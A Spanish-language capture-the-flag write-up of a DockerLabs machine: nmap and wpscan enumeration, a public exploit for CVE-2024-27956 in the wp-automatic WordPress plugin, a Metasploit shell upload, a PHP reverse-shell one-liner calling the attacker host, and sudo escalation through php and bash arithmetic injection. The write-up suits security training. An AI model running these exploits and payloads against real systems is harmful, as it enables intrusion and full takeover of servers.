Estamos ante un docker que contiene una distribución Linux. Es de nivel medio y es de la plataforma dockerlabs.
Enumeración
Ponemos el docker en marcha con el auto_deploy.sh
que trae el zip. Cuando termina de cargar nos indica la dirección IP de nuestra víctima, en nuestro caso es 172.17.0.2
.
Empezamos realizando un escaneo de puertos con nmap
. Hacemos un escaneo silencioso-sS
, a todos los puertos -p-
, que nos de detalles del escaneo -v
, que no haga ping al host -Pn
, que no haga resolución de DNS -n
a nuestra máquina victima 172.17.0.2
:
$ sudo nmap -sS -p- -Pn -n -v 172.17.0.2
PORT STATE SERVICE
80/tcp open http
Vemos que solo tiene el puerto 80 abierto. Vamos a realizar otro escaneo con nmap
pero esta vez para detectar la versión del servicio que este corriendo, -sV
, y para ejecutar los scripts por defecto para detectar vulnerabilidades, -sC
:
$ sudo nmap -sCV -p80 -v 172.17.0.2
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.58 ((Ubuntu))
|_http-favicon: Unknown favicon MD5: CCF3F1622BBC8760E39AAB495FD4A9B1
|_http-server-header: Apache/2.4.58 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Master
|_http-generator: WordPress 6.5.5
MAC Address: 02:42:AC:11:00:02 (Unknown)
Como vemos hay un wordpress 6.5.5 corriendo. Para escanear el framework usamos la herramienta wpscan
, le pasamos como parametros el target con —-url
, con -e u,vp,vt
le indicamos que nos enumere los usuarios, los plugins vulnerables y los themes vulnerables y que busque los plugins de forma agresiva con --plugins-detection
:
wpscan --url http://172.17.0.2 -e u,vp,vt --plugins-detection aggressive
...
wp-automatic
| Location: http://172.17.0.2/wp-content/plugins/wp-automatic/
| Latest Version: 3.98.0
| Last Updated: 2024-06-06T01:52:56.000Z
|
| Found By: Known Locations (Aggressive Detection)
| - http://172.17.0.2/wp-content/plugins/wp-automatic/, status: 200
|
| [!] 7 vulnerabilities identified:
....
| [!] Title: Automatic < 3.92.1 - Unauthenticated SQL Injection
| Fixed in: 3.92.1
| References:
| - https://wpscan.com/vulnerability/53a51e79-a216-4ca3-ac2d-57098fd2ebb5
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-27956
| - https://www.wordfence.com/threat-intel/vulnerabilities/id/a8b319be-f312-4d02-840f-e2a91c16b67a
|
....
User(s) Identified:
[+] mario
| Found By: Wp Json Api (Aggressive Detection)
| - http://172.17.0.2/index.php/wp-json/wp/v2/users/?per_page=100&page=1
| Confirmed By:
| Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Login Error Messages (Aggressive Detection)
Intrusión
Como vemos es vulnerable a Unauthenticated SQL Injection con un CVE CVE-2024-2795. Descargamos el siguiente exploit de github para explotar la vulnerabilidad:
$ wget https://raw.githubusercontent.com/diego-tella/CVE-2024-27956-RCE/main/exploit.py
Lo ejecutamos y vemos que nos crea un usuario con rol de admistrador:
python exploit.py http://172.17.0.2
[+] Exploit for CVE-2024-27956
[+] Creating user eviladmin
[+] Giving eviladmin administrator permissions
[+] Exploit completed!
[+] administrator created: eviladmin:admin
Ahora para obtener una shell reverse vamos a usar Metasploit, lo abrimos con msfconsole
. Después vamos a usar el exploit wp_admin_shell_upload que sirve para subir un plugin que genera para que nos de una shell reversa. En este caso voy a usar un payload para que solo me devuelva una shell y no una sesión de meterpreter. Ejecutamos set payload generic/shell_reverse_tcp
:
msf6 > use exploit/unix/webapp/wp_admin_shell_upload
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set payload generic/shell_reverse_tcp
payload => generic/shell_reverse_tcp
Después vemos las opciones disponibles para que funcione el exploit con options
:
msf6 exploit(unix/webapp/wp_admin_shell_upload) > options
Module options (exploit/unix/webapp/wp_admin_shell_upload):
Name Current Settin Required Description
g
---- -------------- -------- -----------
PASSWORD yes The WordPress passwor
d to authenticate wit
h
Proxies no A proxy chain of form
at type:host:port[,ty
pe:host:port][...]
RHOSTS yes The target host(s), s
ee https://docs.metas
ploit.com/docs/using-
metasploit/basics/usi
ng-metasploit.html
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for
outgoing connections
TARGETURI / yes The base path to the
wordpress application
USERNAME yes The WordPress usernam
e to authenticate wit
h
VHOST no HTTP server virtual h
ost
Payload options (generic/shell_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.1.12 yes The listen address (an i
nterface may be specifie
d)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 WordPress
En nuestro caso cambiamos el rhost, la url, el lhost, nuestra ip, username, el user recien creado, y password, su password:
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set rhost http://172.17.0.1
rhost => http://172.17.0.2
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set lhost docker0
lhost => 172.17.0.1
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set username eviladmin
username => eviladmin
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set password admin
password => admin
Lo ejecutamos con exploit
y obtenemos una shell como www-data:
msf6 exploit(unix/webapp/wp_admin_shell_upload) > exploit
[*] Started reverse TCP handler on 172.17.0.1:4444
[*] Authenticating with WordPress using eviladmin:admin...
[+] Authenticated with WordPress
[*] Preparing payload...
[*] Uploading payload...
[*] Executing the payload at /wp-content/plugins/YhxOuYmNHi/kMJyYmwgTI.php...
[+] Deleted kMJyYmwgTI.php
[+] Deleted YhxOuYmNHi.php
[+] Deleted ../YhxOuYmNHi
[*] Command shell session 1 opened (172.17.0.1:4444 -> 172.17.0.2:48282) at 2024-07-02 00:43:51 +0200
whoami
www-data
La shell que proporciona metasploit no me gusta mucho, por ello me voy a crear una shell con netcat. Nos ponemos a la escucha en nuestra máquina:
$ nc -nlvp 8888
listening on [any] 8888 ...
Ejecutamos el siguiente payload para que genere la shell reversa:
php -r '$sock=fsockopen("172.17.0.1",8888);exec("/bin/bash <&3 >&3 2>&3");'
Y para terminar hacemos el tratamiento de la shell para tener una TTY completa:
nc -nlvp 8888
listening on [any] 8888 ...
connect to [172.17.0.1] from (UNKNOWN) [172.17.0.2] 55124
shell-init: error retrieving current directory: getcwd: cannot access parent directories: No such file or directory
script /dev/null -qc /bin/bash
sh: 0: getcwd() failed: No such file or directory
shell-init: error retrieving current directory: getcwd: cannot access parent directories: No such file or directory
www-data@28f7a25fdecd:$ ^Z
zsh: suspended nc -nlvp 8888
stty raw -echo; fg
[1] + continued nc -nlvp 8888
ls
www-data@28f7a25fdecd:$ export TERM=xterm
www-data@28f7a25fdecd:$ reset
Ahora ya en nuestra máquina vemos con sudo -l
si podríamos ejecutar algo como otro usuario:
www-data@28f7a25fdecd:$ sudo -l
Matching Defaults entries for www-data on 28f7a25fdecd:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User www-data may run the following commands on 28f7a25fdecd:
(pylon) NOPASSWD: /usr/bin/php
Movimientos laterales
Podríamos ejecutar como pylon el comando php
sin necesidad de contraseña. Vamos a GTFOBins y encontramos como ejecutarlo con sudo para hacer el movimiento lateral
www-data@28f7a25fdecd:$ CMD="/bin/bash"
www-data@28f7a25fdecd:$ sudo -u pylon php -r "system('$CMD');"
pylon@28f7a25fdecd:$ whoami
pylon
Ya estamos como pylon. Ahora volvemos a mirar si podemos ejecutar algo como otro usuario:
pylon@28f7a25fdecd:$ sudo -l
Matching Defaults entries for pylon on 28f7a25fdecd:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User pylon may run the following commands on 28f7a25fdecd:
(mario) NOPASSWD: /bin/bash /home/mario/pingusorpresita.sh
Como explico Mario en este short en su canal de YouTube vamos a movernos al usuario mario usando esa técnica:
pylon@28f7a25fdecd:$ sudo -u mario /bin/bash /home/mario/pingusorpresita.sh
Escribe 1 para ver el canal del pinguino, o cualquier otro numero para acceder a la academia: a[$(whoami >&2)]+1
mario
https://www.youtube.com/@ElPinguinoDeMario
# Funciona! Ahora ejecutamos una shell en bash
pylon@28f7a25fdecd:$ sudo -u mario /bin/bash /home/mario/pingusorpresita.sh
Escribe 1 para ver el canal del pinguino, o cualquier otro numero para acceder a la academia: a[$(bash >&2)]+1
mario@28f7a25fdecd:~$ whoami
mario
Escalada de privilegios
Una vez estamos como mario hacemos el mismo proceso para convertirnos en root.
mario@28f7a25fdecd:~$ sudo -l
Matching Defaults entries for mario on 28f7a25fdecd:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User mario may run the following commands on 28f7a25fdecd:
(root) NOPASSWD: /bin/bash /home/pylon/pylonsorpresita.sh
mario@28f7a25fdecd:~$ sudo /bin/bash /home/pylon/pylonsorpresit/bin/bash /home/pylon/pylonsorpresita.sh
Escribe 1 para ver el canal de pylon: a[$(bash >&2)]+1
root@28f7a25fdecd:/home/mario# cd ~
root@28f7a25fdecd:~# hostname; whoami
28f7a25fdecd
root
root@28f7a25fdecd:~#
Y con este terminamos la máquina.